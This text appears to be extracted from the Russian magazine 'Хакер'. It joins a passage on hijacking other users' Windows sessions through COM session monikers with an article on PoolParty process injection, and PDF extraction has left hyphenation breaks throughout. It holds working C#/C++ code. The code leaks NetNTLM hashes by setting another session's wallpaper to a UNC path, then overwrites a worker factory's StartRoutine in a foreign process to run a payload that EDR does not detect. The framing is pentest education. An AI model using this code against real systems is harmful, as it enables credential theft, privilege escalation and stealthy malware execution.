писал статью «

». В ней мы под робно рас смот рели этап вхо да поль зовате ля
в сис тему, начиная от при зем ления пятой точ ки за компь ютер в офи се
и закан чивая получе нием дос тупа к рабоче му сто лу.

Пос тавщик небезо пас ности. Как Windows рас кры вает пароль
поль зовате ля

Впро чем, в той статье я перечис лил далеко не все спо собы воз дей ствия
на поль зовате ля. Сущес тву ет еще одна ата ка — кра жа сес сии. И осу щес твим
мы ее с помощью COM!

LOGON SESSIONS

Итак, нач нем с неболь шого лик беза. Logon Session (она же прос то сес сия) —
это как куки бра узе ра. Впол не понят ная вещица, по которой сис тема может
однознач но опре делить, какой поль зователь к ней обра щает ся.

От лича ются сес сии по уни каль ному номеру, имя ему LUID (Locally Unique
IDentier). Собс твен но, это все, что нуж но Windows для иден тифика ции сес- 
сии поль зовате ля.

   typedef struct _LUID {
  ULONG LowPart;
   LONG HighPart;
  } LUID, *PLUID;

 — содер жит необ ходимое чис ловое зна чение;• LowPart

 — обыч но нолик.• HighPart

Изу чить сущес тву ющие Logon-сес сии мож но через API
.LsaEnumerateLogonSessions()

Я дос таточ но под робно опи сывал эту фун кцию и ее исполь зование
в . Для раз нооб разия перепи шем на C#.статье про GIUDA

 using System;
 using System.Runtime.InteropServices;
 using System.Security.Principal;

 class Program
{
      [DllImport("Secur32.dll", SetLastError = false)]
         

   
private static extern int LsaEnumerateLogonSessions(out ulong

LogonSessionCount, out IntPtr LogonSessionList);

      [DllImport("Secur32.dll", SetLastError = false)]
        

   
private static extern int LsaGetLogonSessionData(IntPtr

LogonSession, out IntPtr ppLogonSessionData);

   [DllImport("Secur32.dll")]
        private static extern uint LsaFreeReturnBuffer(IntPtr buffer);

   [StructLayout(LayoutKind.Sequential)]
     private struct LSA_UNICODE_STRING
   {

         public ushort Length;
         public ushort MaximumLength;
         public IntPtr Buffer;

   }

   [StructLayout(LayoutKind.Sequential)]
     private struct SECURITY_LOGON_SESSION_DATA
   {

         public uint Size;
         public LUID LogonId;
         public LSA_UNICODE_STRING UserName;
         public LSA_UNICODE_STRING LogonDomain;
         public LSA_UNICODE_STRING AuthenticationPackage;
         public uint LogonType;
         public uint Session;
         public IntPtr Sid;
         public long LogonTime;

   }

   [StructLayout(LayoutKind.Sequential)]
     private struct LUID
   {

         public uint LowPart;
         public int HighPart;

   }

       private static string GetString(LSA_UNICODE_STRING unicodeString)
   {

        return Marshal.PtrToStringUni(unicodeString.Buffer);
   }

     static void Main()
   {

               var result = LsaEnumerateLogonSessions(out var count, out var
luidPtr);

          if (result != 0)
       {
           Console.WriteLine("LsaEnumerateLogonSessions failed");
           return;
       }

          var iter = luidPtr;
               for (ulong i = 0; i < count; i++)

       {
                result = LsaGetLogonSessionData(iter, out var

sessionDataPtr);
              if (result == 0)

           {
                  var sessionData = Marshal.PtrToStructure<

SECURITY_LOGON_SESSION_DATA>(sessionDataPtr);
                  var userName = GetString(sessionData.UserName);
                  var domainName = GetString(sessionData.LogonDomain);

               Console.WriteLine($"UserName: {userName}");
               Console.WriteLine($"LogonDomain: {domainName}");
               Console.WriteLine("---------------------------");

               LsaFreeReturnBuffer(sessionDataPtr);
           }

              iter = IntPtr.Add(iter, Marshal.SizeOf(typeof(LUID)));
       }

       LsaFreeReturnBuffer(luidPtr);
   }
}

При мер работы прог раммы

Ви дим стан дар тный импорт необ ходимых фун кций через  с пос леду- 

ющим вызовом в опре делен ном поряд ке.

PInvoke

По лучить спи сок сес сий с устрой ства мож но и уда лен но, здесь нам
помогут фун кции  и . При мер исполь- 

зования можешь пос мотреть, нап ример, на .

NetSessionEnum() NetrSessionEnum()
гит хабе trustedsec

Так же мож но вос поль зовать ся инс тру мен том .netview.py

По луче ние спис ка сес сий уда лен но

На конец, помочь смо гут встро енные инс тру мен ты коман дной стро ки.

qwinsta 

# Если удаленно, то quser.exe
   quser.exe /server:dc01.office.corp 

Ис поль зование qwinsta

Ко неч но же, есть и дру гие вари анты поис ка сес сий целево го поль зовате ля:
сюда вхо дят и  от PowerView, и бес конеч ные ана логи

на С#, все рас писывать ни одной статьи не хва тит. Поэто му закон чим
с реконом и перей дем к собс твен но уго ну.

Invoke-UserHunter

WWW

Ес ли база у тебя хро мает, советую изу чить труд
Джа реда Эткинсо на на эту тему, в осо бен ности
час ти  и .12 13

Продолжение статьи →

https://t.me/Michaelzhm
https://xakep.ru/2023/03/15/windows-password/
https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions
https://xakep.ru/2023/11/27/tgt-giuda/
https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/SA/get-netsession/entry.c
https://github.com/fortra/impacket/blob/master/examples/netview.py
https://posts.specterops.io/behavior-vs-execution-modality-3318e8e81739
https://posts.specterops.io/part-13-415c4df7b635


УГОН COM
КАК РАБОТАЕТ КРАЖА СЕССИИ

ЧЕРЕЗ МЕХАНИЗМ COM

COVERSTORY  НАЧАЛО СТАТЬИ←

SESSION MONIKER

Ана логич но  в Windows сущес тву ет моникер и для сес сий.
Напом ню, моникер — стро ковая реп резен тация COM-объ екта. Так вот, сес- 
сион ный моникер может исполь зовать ся для инстан цирова ния COM-клас са
в кон крет ной сес сии.

Elevation Moniker

Нап ример, если у нас есть COM-класс, один из методов которо го поз- 
воля ет выпол нять коман ды, то, инстан цировав этот COM-класс внут ри сес сии
дру гого поль зовате ля через Session Moniker, мы зах ватим сес сию это го поль- 
зовате ля.

Впро чем, не все так прос то — в Microsoft наложи ли опре делен ные огра- 
ниче ния, но с ними поз накомим ся чуть поз же. Сна чала пред лагаю разоб рать- 
ся с прин ципом работы Session Moniker. И сде лаем это с помощью 
Джей мса Фор шоу.

слай дов

Итак, есть нес коль ко объ ектов.

На чаль ное сос тояние сис темы

Есть сес сия поль зовате ля Alice (мы сидим в ней), есть сес сия поль зовате ля
Bob (ее будем зах ватывать). Так же есть RPCSS — спе циаль ная служ ба, отве- 
чающая за акти вацию СОМ-объ ектов.

Зап рашива ем акти вацию COM-объ екта в сес сии Боба.

Зап рос акти вации

Этот зап рос попада ет в служ бу RPCSS потому, что акти ваци ей COM-объ- 
ектов управля ет SCM. Затем служ ба RPCSS видит, что исполь зует ся Session
Moniker, обна ружи вает сес сию Боба и соз дает COM-объ ект внут ри нее.

Ак тивация

Пос ле успешной акти вации COM-объ екта кли ент (мы в сес сии 1) получит ука- 
затель на интерфейс это го COM-объ екта и смо жет с ним вза имо дей ство вать,
нап ример выз вать метод для исполне ния коман ды.

Воз врат ука зате ля на интерфейс

Для исполь зования сес сион ного монике ра дос таточ но под готовить стро ку
сле дующе го вида:

"Session:[digits]!clsid:[class id]"

Здесь  — это номер сес сии, в которой запус кать COM-класс, иден- 

тифици рующий ся по CLSID из поля .

digits
class id

С помощью этой фун кции мож но соз давать COM-объ екты в чужой сес сии.

       
      

HRESULT CoCreateInstanceInSession (DWORD session, REFCLSID rclsid ,
REFIID riid , void ** ppv) {
      BIND_OPTS3 bo = {};
     WCHAR wszCLSID [50];
     WCHAR wszMonikerName [300];
      StringFromGUID2 (rclsid, wszCLSID, _countof(wszCLSID));
       StringCchPrintf (wszMonikerName , _countof(wszMonikerName ),
      L"session:%d!new:%s" , session, wszCLSID);
     bo.cbStruct = sizeof(bo);
      bo.dwClassContext = CLSCTX_LOCAL_SERVER ;
         return CoGetObject (wszMonikerName , &bo, riid, ppv);
}

Ка жет ся, если бы кто угод но мог инстан цировать COM-клас сы через Session
Moniker в чужих сес сиях, это была бы брешь в обо роне Windows. Получа ется
горизон таль ное повыше ние при виле гий (вер тикаль ное — если есть сес сия
адми нис тра тора).

Не все так пло хо. Далеко не всег да получит ся инстан цировать COM-класс
в сес сии целево го поль зовате ля через Session Moniker. Нуж но, что бы
целевой COM-класс был зарегис три рован на запуск от лица инте рак тивно го
поль зовате ля. Это зна чение ука зыва ется в отдель ном клю че реес тра .
Если зна чение пус тое либо ука зан запус тивший поль зователь, сис тема
или сер вис, то Session Moniker не сра бота ет. Извлечь спи сок всех объ ектов
удоб но с помощью инс тру мен та . Он сге нери рует отчет в фор мате
CSV (или XLSX по желанию), пос ле чего оста нет ся лишь при менить филь тр
по необ ходимо му полю.

RunAs

Checker

По иск нуж ных объ ектов

За тем огра ниче ния нак ладыва ются в сле дующем при ори тете. Никаких офи- 
циаль ных наз ваний им нет, либо мне они нез накомы.
1. SeDebug — если у тебя есть SeDebug, то можешь сме ло зах ватывать

чужие сес сии, нап ример через .IHxExec
2. Патч от CVE-2024-38100 (FakePotato) — если у тебя нет прав локаль ного

адми на, ты не смо жешь инстан цировать инте рак тивные (поле RunAs рав но
) COM-объ екты внут ри про цес са .

Фак тичес ки здесь прос то испра вили Access Permissions. Если у тебя нет
этих прав на про цесс, то получить дос туп к работа ющим внут ри него COM-
объ ектам ты не смо жешь. Если Access Permissions не опре деле ны для кон- 
крет ного AppID, то исполь зуют ся дефол тные. Прос мотреть пра ва мож но
с помощью инс тру мен та .

The Interactive User explorer.exe

OleViewDotNet

Спи сок про цес сов с работа ющи ми COM-объ екта ми

Спи сок работа ющих объ ектов внут ри про цес са

Де фол тные пра ва на про цесс

3. Патч от EOP Session Moniker. Воз можнос ти сес сион ных монике ров извес- 
тны уже дав но, но их экс плу ата ция не осо бен но популяр на. Как толь ко
безопас ники начали их ресер чить, то прак тичес ки сра зу же появил ся 

, поз воля ющий запус тить опре делен ный объ ект внут ри чужой сес- 
сии, что при води ло к повыше нию при виле гий. Фикс зак лючал ся в добав- 
лении про вер ки на уро вень целос тнос ти перед обра щени ем к объ екту.
Если к объ екту в чужой сес сии пыта ются обра тить ся из про цес са со сред- 
ним уров нем целос тнос ти, дос туп бло киру ется.

экс- 
пло ит

ÇÀÏÓÑÊ ÏÐÎÖÅÑÑÀ Â ×ÓÆÎÉ ÑÅÑÑÈÈ

Итак, пред лагаю обра тить ся к экс пло иту . Он поз воля ет запус тить
исполня емый файл внут ри чужой сес сии. Сущес тву ет так же реали зация на C#
и PowerShell, ищи ее .

IHxExec

на GitHub
Оба вари анта зло упот ребля ют сес сион ными монике рами для исполне ния

кода. Если у нас есть пра ва локаль ного адми нис тра тора (или при виле гия
SeDebug), то таким обра зом уда ется выпол нить код в сес сиях дру гого поль- 
зовате ля. Одна ко на ста рых сис темах, которые не обновля лись года
с 2017 года, такой трюк прой дет и от лица низ копри виле гиро ван ного поль- 
зовате ля. Под робный ана лиз работы экс пло ита есть .на Medium

Ес ли вкрат це, то идет исполь зование двух недоку мен тирован ных COM-
интерфей сов, к которым обра щают ся и при инстан цирова нии сес сион ных
монике ров:  и . Пер вый нужен
для акти вации объ ектов, а у вто рого есть инте рес ный метод 
для уста нов ки целевой сес сии, внут ри которой тре бует ся запус тить COM-
объ ект.

IStandardActivator ISpecialSystemProperties
SetSessionId()

При мер исполь зования экс пло ита

Ви дим, что экс пло ит успешно инстан циру ет необ ходимый COM-объ ект, и мы
получа ем воз можность запус ка про изволь ного фай ла внут ри чужой сес сии.

ÓÒÅ×ÊÀ ÕÅØÀ ÏÀÐÎËß ÏÐÈ ÑÌÅÍÅ ÎÁÎÅÂ

Дру гой экс пло ит вышел сов сем недав но, он так же осно ван на зло упот ребле- 
нии сес сион ными монике рами, но теперь инстан циру емый COM-объ ект поз- 
воля ет не запус тить про цесс, а сме нить обои. Казалось бы, где тут уяз- 
вимость? Но сто ит вспом нить  Эла да Шамира, в которой NetNTLM-хеш
компь юте ра извле кали через фун кцию изме нения обо ев. Я подумал: а что,
если инстан цировать инте рак тивный COM-объ ект внут ри чужой сес сии, затем
выз вать метод сме ны обо ев и ука зать UNC Path для получе ния NetNTLM-
хеша?

статью

Идея дол го не давала мне спать, и однажды, ког да в бло ге 
выш ла одна под сказ ка, у меня получи лось обна ружить подоб ный COM-объ- 
ект.

decoder.cloud

Об наружен ный объ ект

У объ екта был интерфейс  с под ходящим по логике
методом .

IDesktopWallpaper
SetWallpaper()

 HRESULT SetWallpaper(
   [in] LPCWSTR monitorID,
   [in] LPCWSTR wallpaper
);

Пер вым аргу мен том сле дует переда вать иден тифика тор монито ра,
на который уста нав лива ются обои, вто рым — путь к обо ям. Собс твен но, ука- 
зание UNC Path во вто ром аргу мен те при ведет к утеч ке NetNTLM-хеша. Одна- 
ко отку да получить иден тифика тор монито ра?

Сам MSDN нам любез но под ска зыва ет, что мож но вос поль зовать ся
методом , этот метод, в свою оче редь, тре бует
для вызова параметр , который мож но получить через

.

GetMonitorDevicePathAt()
monitorIndex

GetMonitorDevicePathCount()
Так выс тра ивает ся цепоч ка-кил лчейн:

;• GetMonitorDevicePathCount([out] int a)

;• GetMonitorDevicePathAt([in] a, [out] index)

.• SetWallpaper([in] index, [in] UNCPath)

При этом для утеч ки NetNTLM-хеша нуж ного поль зовате ля сле дует инстан- 
цировать COM-класс по управле нию обо ями внут ри чужой сес сии. Это дела- 
ется с помощью фун кции .CoCreateInstanceInSession()

     
    

HRESULT CoCreateInstanceInSession(DWORD session, REFCLSID rclsid,
REFIID riid, void** ppv) {
      BIND_OPTS3 bo = {};
    WCHAR wszCLSID[50];
    WCHAR wszMonikerName[300];
     StringFromGUID2(rclsid, wszCLSID, _countof(wszCLSID));
    StringCchPrintf(wszMonikerName, _countof(wszMonikerName),

         L"session:%d!new:%s", session, wszCLSID);
     bo.cbStruct = sizeof(bo);
     bo.dwClassContext = CLSCTX_LOCAL_SERVER;
       return CoGetObject(wszMonikerName, &bo, riid, ppv);
}

...

   IDesktopWallpaper* pDesktopWallpaper = nullptr;
    

 
hr = CoCreateInstanceInSession(session, clsidShellWindows,
iidIShellWindows, (void**)&pDesktopWallpaper);

  if (FAILED(hr)) {
       
  
std::wcerr << L"CoCreateInstanceInSession failed with error: " <<

hr << std::endl;
   CoUninitialize();
    return 1;
}

Пос ле успешно го инстан цирова ния мож но обра щать ся к методам COM-клас- 
са.

 UINT monitorCount;
  hr = pDesktopWallpaper->GetMonitorDevicePathCount(&monitorCount);
  if (FAILED(hr)) {

       
  
std::wcerr << L"GetMonitorDevicePathCount failed with error: " <<

hr << std::endl;
   pDesktopWallpaper->Release();
   CoUninitialize();
    return 1;
}

         for (UINT i = 0; i < monitorCount; i++) {
    LPWSTR monitorId;
      hr = pDesktopWallpaper->GetMonitorDevicePathAt(i, &monitorId);
     if (FAILED(hr)) {

   
   
       std::wcerr << L"GetMonitorDevicePathAt failed with error: " <
< hr << std::endl;
       continue;
   }
      hr = pDesktopWallpaper->SetWallpaper(monitorId, imagePath);
       std::wcout << L"[+] Check Responder" << std::endl;
   CoTaskMemFree(monitorId);
}

Ус пешная утеч ка хеша

Та ким обра зом, если получа ется про вер нуть утеч ку хеша, то мож но пой ти
даль ше и при менить Relay-ата ку. О них «Хакер» уже писал в статье «Гид
по NTLM Relay» ( , ).часть 1 часть 2

ÂÛÂÎÄÛ

Вновь пло хо докумен тирован ные воз можнос ти Windows поз воля ют ата- 
кующим про водить инте рес ные и кра сивые ата ки. Самое слож ное — най ти ту
игол ку в сто ге сена, которая поз волит рас кру тить всё до пол ноцен ного экс- 
пло ита!

https://xakep.ru/2024/08/16/elevation-moniker/
https://www.linkedin.com/in/james-forshaw-ab833725
https://learn.microsoft.com/en-us/windows/win32/com/runas
https://github.com/CICADA8-Research/RemoteKrbRelay/tree/main/Checkerv2.0
https://github.com/CICADA8-Research/IHxExec/tree/main
https://github.com/tyranid/oleviewdotnet
https://t.me/RedTeambro/306
https://github.com/CICADA8-Research/IHxExec/tree/main
https://github.com/Leo4j/SessionExec
https://cicada-8.medium.com/process-injection-is-dead-long-live-ihxhelppaneserver-af8f20431b5d
https://github.com/CICADA8-Research/IHxExec/blob/main/Code/IHxExec/IHxExec/IHxExec.cpp#L94
https://github.com/CICADA8-Research/IHxExec/blob/main/Code/IHxExec/IHxExec/IHxExec.cpp#L104
https://github.com/CICADA8-Research/IHxExec/blob/main/Code/IHxExec/IHxExec/IHxExec.cpp#L112
https://shenaniganslabs.io/2019/08/08/Lock-Screen-LPE.html
https://decoder.cloud/2024/08/02/the-fake-potato/
https://learn.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-idesktopwallpaper
https://learn.microsoft.com/ru-ru/windows/win32/api/shobjidl_core/nf-shobjidl_core-idesktopwallpaper-setwallpaper
https://learn.microsoft.com/ru-ru/windows/desktop/api/shobjidl_core/nf-shobjidl_core-idesktopwallpaper-getmonitordevicepathat
https://learn.microsoft.com/ru-ru/windows/desktop/api/shobjidl_core/nf-shobjidl_core-idesktopwallpaper-getmonitordevicepathcount
https://xakep.ru/2023/04/07/ntlm-relay-guide/
https://xakep.ru/2023/04/11/ntlm-relay-guide-2/
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Не дав но появил ся новый вид инжектов
в легитим ные про цес сы. Называ ется он
PoolParty и исполь зует Windows Thread
Pools — мас штаб ный и слож ный механизм
управле ния потока ми в Windows. Пред- 
лагаю разоб рать ся, как устро ен этот
механизм и как его мож но исполь зовать
в пен тестер ских целях.

Ин жекты — это тех ника внед рения сво его кода в сто рон ние про цес сы
с целью получе ния кон тро ля или выпол нения нуж ных дей ствий. Пос коль ку
такое может про вер нуть не толь ко пен тестер, но и зло умыш ленник, понима- 
ние этих тех ник поз воля ет эффектив но пре дот вра щать ата ки и укреплять
защищен ность.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

WINDOWS THREAD POOLS

Ме ханизм Windows Thread Pools приз ван зна читель но упростить прог раммис- 
там управле ние потока ми. Под капотом реша ются задачи асин хрон ного вза- 
имо дей ствия и управле ния про изво дитель ностью при помощи пере исполь- 
зования сущес тву ющих потоков — это сок раща ет зат раты ресур сов на их
соз дание и унич тожение. Заод но решены проб лемы с оче редя ми потоков
и еще вагоном мел ких тон костей, которые бы све ли с ума прог раммис та,
если бы тот пытал ся реали зовать все это самос тоятель но.

Код, управля ющий пулами потоков, пре иму щес твен но рас полага ется
в режиме поль зовате ля ( ), и толь ко неболь шая его часть находит ся

в ядре — поэто му не при ходит ся тра тить ресур сы на час тое перек лючение
кон тек стов меж ду ядром и юзер спей сом.

ntdll.dll

Вот основные узлы Windows Thread Pools:
ра бочая фаб рика (Worker Factory), которая управля ет соз дани ем и уда- 
лени ем новых потоков;

•

ра бочие оче реди:•
оче редь задач (task queue) — задачи, которые переда ются в пул. Эти
задачи могут быть как быс тры ми (выпол нять ся в течение корот кого вре- 
мени), так и более дли тель ными. Пул потоков авто мати чес ки мас шта- 
биру ется — если задач мно го, пул может соз дать допол нитель ные
потоки, что бы спра вить ся с наг рузкой;

•

оче редь вво да-вывода (I/O completion queue) выпол няет задачи, свя- 
зан ные с опе раци ями вво да-вывода, такие как фай ловые опе рации
или сетевые зап росы;

•

оче редь тай мера (timer queue) поз воля ет выпол нять задачи через
опре делен ные про межут ки вре мени или в задан ное вре мя.

•

Имен но эти час ти механиз ма Thread Pools наибо лее инте рес ны с точ ки зре- 
ния экс плу ата ции тех ники PoolParty.

На до ска зать, что все про цес сы, работа ющие в Windows, исполь зуют
Thread Pools по умол чанию. Давай поп робу ем в этом убе дить ся экспе римен- 
таль но — запус тим Process Explorer, выберем любой про цесс и перей дем
на вклад ку Handles.

Фаб рики в про цес се svchost.exe

Как видишь, про цесс  исполь зует Worker Factory, а зна чит,

механизм Thread Pools акти вен.

svchost.exe

Для демонс тра ции тех ники PoolParty мы поп робу ем ата ковать рабочие
фаб рики. А для это го нуж но понять, как они соз дают ся.

  NTSTATUS NTAPI NtCreateWorkerFactory(
  _Out_ PHANDLE WorkerFactoryHandleReturn,

  _In_ ACCESS_MASK DesiredAccess,
  _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,

  _In_ HANDLE CompletionPortHandle,
  _In_ HANDLE WorkerProcessHandle,
  _In_ PVOID StartRoutine,

  _In_opt_ PVOID StartParameter,
  _In_opt_ ULONG MaxThreadCount,
  _In_opt_ SIZE_T StackReserve,
  _In_opt_ SIZE_T StackCommit

);

 — фун кция NTAPI, которая соз дает рабочую фаб- 

рику Thread Pools. Обра ти вни мание на инте рес ные аргу мен ты —
 и .

NtCreateWorkerFactory

WorkerProcessHandle StartRoutine
 — это ука затель на код, который будет выпол нен фаб рикой

при запус ке нового потока, а  — дес крип тор про цес са,

в кон тек сте которо го будут выпол нять ся рабочие потоки. Это может быть дес- 
крип тор текуще го про цес са или дру гого для рас пре делен ной обра бот ки.
А что, если поп робовать модифи циро вать код , что бы он

выпол нял наш пей лоад, таким обра зом зас тавляя фаб рику работать на нас?

StartRoutine
WorkerProcessHandle

StartRoutine

Но до непос редс твен ной модифи кации  нуж на неболь шая
под готов ка.

StartRoutine

ÇÀÕÂÀÒ ÖÅËÅÂÎÃÎ ÄÅÑÊÐÈÏÒÎÐÀ

Вза имо дей ствие с эле мен тами Thread Pools реали зует ся через дес крип торы.
Соот ветс твен но, для получе ния дос тупа к рабочей фаб рике целево го про цес- 
са нуж но сна чала най ти ее хендл и зах ватить его, исполь зуя фун кцию WinAPI

.DuplicateHandle
Дес крип торы Thread Pools име ют нес коль ко типов: если нужен дос туп

к рабочей фаб рике, то понадо бит ся дес крип тор с типом объ екта
, если к оче реди тай мера, то , а если нуж но обра- 

тить ся к оче реди вво да-вывода, то дес крип тор с типом . Мы
ата куем рабочую фаб рику, соот ветс твен но, ищем тип дес крип тора

.

TpWorkerFactory IRTimer
IoCompletion

TpWorkerFactory
В про цес се будут исполь зовать ся фун кции NTAPI

 и , их адре са нуж но будет

получить динами чес ки из . Адре са дру гих фун кций NTAPI, упо мина- 

емых в статье, будут получать ся ана логич но.

NtQueryInformationProcess NtQueryObject
ntdll.dll

  typedef NTSTATUS(NTAPI* proto_NtQueryInformationProcess)(

     _In_ HANDLE ProcessHandle,
     _In_ PROCESSINFOCLASS ProcessInformationClass,
     _Out_writes_bytes_(ProcessInformationLength) PVOID
ProcessInformation,
     _In_ ULONG ProcessInformationLength,
     _Out_opt_ PULONG ReturnLength
   );

  typedef NTSTATUS(NTAPI* proto_NtQueryObject)(

     _In_opt_ HANDLE Handle,
     _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
     _Out_writes_bytes_opt_(ObjectInformationLength) PVOID
ObjectInformation,
     _In_ ULONG ObjectInformationLength,
     _Out_opt_ PULONG ReturnLength
);

...

   proto_NtQueryInformationProcess ptr_NtQueryInformationProcess =
nullptr;

   proto_NtQueryObject ptr_NtQueryObject = nullptr;

  

 

ptr_NtQueryInformationProcess = reinterpret_cast<
proto_NtQueryInformationProcess>(GetProcAddress(GetModuleHandleW(
L"ntdll.dll"), "NtQueryInformationProcess"));

  
 

prt_NtQueryObject = reinterpret_cast<proto_NtQueryObject>(
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryObject"));

Да лее при помощи фун кции  получа ем спи сок всех
откры тых дес крип торов для целево го про цес са и выделя ем память для струк- 
тур 

и . Памяти нуж но с запасом — на слу чай,
если количес тво дес крип торов изме нит ся с момен та их получе ния.

GetProcessHandleCount

PROCESS_HANDLE_SNAPSHOT_INFORMATION
PROCESS_HANDLE_TABLE_ENTRY_INFO

 GetProcessHandleCount(targetProcess, (PDWORD)&handles);
     

   
szTypeInfo = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION) + ((handles
+ 5) * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO));

  
  

processes = static_cast<PPROCESS_HANDLE_SNAPSHOT_INFORMATION>(
HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, szTypeInfo));

За пол няем ранее выделен ную память информа цией о дес крип торах про цес- 
са при помощи вызова  с аргу мен том

.
NtQueryInformationProcess

ProcessHandleInformation

ptr_NtQueryInformationProcess(
   targetProcess,
   // ProcessHandleInformation
   (PROCESSINFOCLASS)51,
   // PPROCESS_HANDLE_SNAPSHOT_INFORMATION
   processes,
   szTypeInfo,
   NULL);

Да лее необ ходимо зах ватить все дес крип торы про цес са, находя щиеся
в . Для это го для каж дого дес крип тора
вызыва ем , при помощи  получа ем по нему

информа цию в струк туре  и отсе иваем

нуж ные нам дес крип торы — с типом .

processes->NumberOfHandles
DuplicateHandle NtQueryObject

PUBLIC_OBJECT_TYPE_INFORMATION
TpWorkerFactory

DuplicateHandle(targetProcess,
   processes->Handles[i].HandleValue,
   GetCurrentProcess(),
   &gotchedHandle,
   accessFlags,
   FALSE,
   NULL)

prt_NtQueryObject(gotchedHandle,
   ObjectTypeInformation,
   // Вызываем NtQueryObject с NULL, чтобы получить данные о 
размере необходимой памяти
   NULL,
   NULL,
   (PULONG)&objTypeLen);

  
  

objTypeInfo = static_cast<PPUBLIC_OBJECT_TYPE_INFORMATION>(HeapAlloc(
GetProcessHeap(), HEAP_ZERO_MEMORY, objTypeLen));

prt_NtQueryObject(gotchedHandle,
   ObjectTypeInformation,
   objTypeInfo,
   objTypeLen,
   NULL);

   
   

if (wcsncmp(L"TpWorkerFactory", objTypeInfo->TypeName.Buffer, wcslen(
L"TpWorkerFactory")) == 0) {

   // Нашли!
}

  HeapFree(GetProcessHeap(), 0, objTypeInfo);

Нуж ные дес крип торы получе ны, перехо дим к самому инте рес ному — перех- 
вату управле ния при помощи модифи кации кода .StartRoutine

ÌÎÄÈÔÈÖÈÐÓÅÌ STARTROUTINE

Са му  пос ле соз дания фаб рики изме нить нель зя (она, разуме- 

ется, уже соз дана в сто рон нем про цес се), а вот код, на который она ука зыва- 
ет, — мож но! Для про дол жения ата ки нам пот ребу ются сле дующие NTAPI:

StartRoutine

 — получе ние информа ции о фаб- 
рике;

• NtQueryInformationWorkerFactory

 — изме нение информа ции о фаб- 
рике.

• NtSetInformationWorkerFactory

Рас смот рим их про тоти пы:

NtQueryInformationWorkerFactory(
    _In_ HANDLE WorkerFactoryHandle,
    _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
    _Out_writes_bytes_(WorkerFactoryInformationLength) PVOID
WorkerFactoryInformation,
    _In_ ULONG WorkerFactoryInformationLength,
    _Out_opt_ PULONG ReturnLength
);

NtSetInformationWorkerFactory(
    _In_ HANDLE WorkerFactoryHandle,
    _In_ WORKERFACTORYINFOCLASS WorkerFactoryInformationClass,
    _In_reads_bytes_(WorkerFactoryInformationLength) PVOID
WorkerFactoryInformation,
    _In_ ULONG WorkerFactoryInformationLength
);

Сна чала получим информа цию о нашей фаб рике (точ нее, о ,

о которой мы говори ли ранее) при помощи вызова
 с аргу мен том

. Так же нам понадо бит ся запол нить струк- 

туру .

StartRoutine

NtQueryInformationWorkerFactory
WorkerFactoryBasicInformation

WORKER_FACTORY_BASIC_INFORMATION

ptr_NtQueryInformationWorkerFactory(
       gotchedHandle,
       WorkerFactoryBasicInformation,
       // factoryInf — это структура типа
       &factoryInf,
     WORKER_FACTORY_BASIC_INFORMATION
       sizeof(WORKER_FACTORY_BASIC_INFORMATION),
       nullptr);

Даль ше самое инте рес ное — непос редс твен ная модифи кация
:StartRoutine

из меня ем пра ва дос тупа к памяти, содер жащей ,
с помощью  — что бы иметь воз можность записать
наш пей лоад в эту область;

• StartRoutine

VirtualProtectEx

пи шем пей лоад в память с помощью , пос ле чего
вос ста нав лива ем пра ва дос тупа к этой памяти пов торным вызовом

.

• WriteProcessMemory

VirtualProtectEx

VirtualProtectEx(
       targetProcess,
       factoryInf.StartRoutine,
       szPayload,
       PAGE_READWRITE,
       (PDWORD)&oldProtect);

WriteProcessMemory(
       targetProcess,
       // Адрес, по которому пишем
       factoryInf.StartRoutine,
       // Пейлоад
       addrPayload,
       // Размер пейлоада
       szPayload,
       nullptr);

VirtualProtectEx(
       targetProcess,
       factoryInf.StartRoutine,
       szPayload,
       oldProtect,

        (PDWORD)&oldProtect );

Пос ле того как наша фаб рика будет «заряже на», починим минималь ное
количес тво потоков в пуле, ведь мы соз даем один лиш ний поток — свой!
Для это го вос поль зуем ся фун кци ей .NtSetInformationWorkerFactory

// Увеличили минимум потоков на 1
    threadsCount = factoryInf.TotalWorkerCount + 1;

ptr_NtSetInformationWorkerFactory(
       gotchedHandle,
       WorkerFactoryThreadMinimum,
       &threadsCount,
       sizeof(uint32_t));

Уве личе ние минималь ного чис ла потоков в пуле — это спо соб гаран тировать
выпол нение нашего пей лоада. Изме нив код в фаб рике , необ- 
ходимо соз дать новый поток, который выпол нит этот код. Уве личе ние
парамет ра  дела ет это воз можным.

StartRoutine

WorkerFactoryThreadMinimum
Об рати вни мание: мы сей час разоб рали клю чевой шаг в акти вации ата ки,

пос коль ку без это го наш пей лоад не будет выпол нен (ну или нам при дет ся
дол го ждать без каких-либо гаран тий).

В ито ге для того, что бы запус тить пей лоад, не понадо билось вызывать
стан дар тные фун кции соз дания потоков и про цес сов. Имен но это меша ет
анти вирус ным средс твам обна ружи вать ата ку: такой под ход лома ет стан дар- 
тный пат терн поведе ния, который ожи дает уви деть EDR.

ÂÛÂÎÄÛ

Пен тесте ры могут исполь зовать опи сан ную тех нику для скры того внед рения
кода в высокоп ривиле гиро ван ные про цес сы. С точ ки зре ния защиты рост
популяр ности PoolParty — это сиг нал улуч шать монито ринг сис темных
вызовов и совер шенс тво вать кон троль прав дос тупа к сис темным объ ектам.
И конеч но же, всег да нуж но сле дить за сво евре мен ным обновле нием сис тем
безопас ности.

В зак лючение отме чу, что мы здесь рас смот рели лишь один вари ант тех-
ники PoolParty — ата ки на рабочие фаб рики. При желании мож но ата ковать
все три оче реди, с которы ми работа ет механизм Windows Thread Pools,
но это, как показы вает прак тика, чуть менее эффектив но.

mailto:xtahi0nix@gmail.com
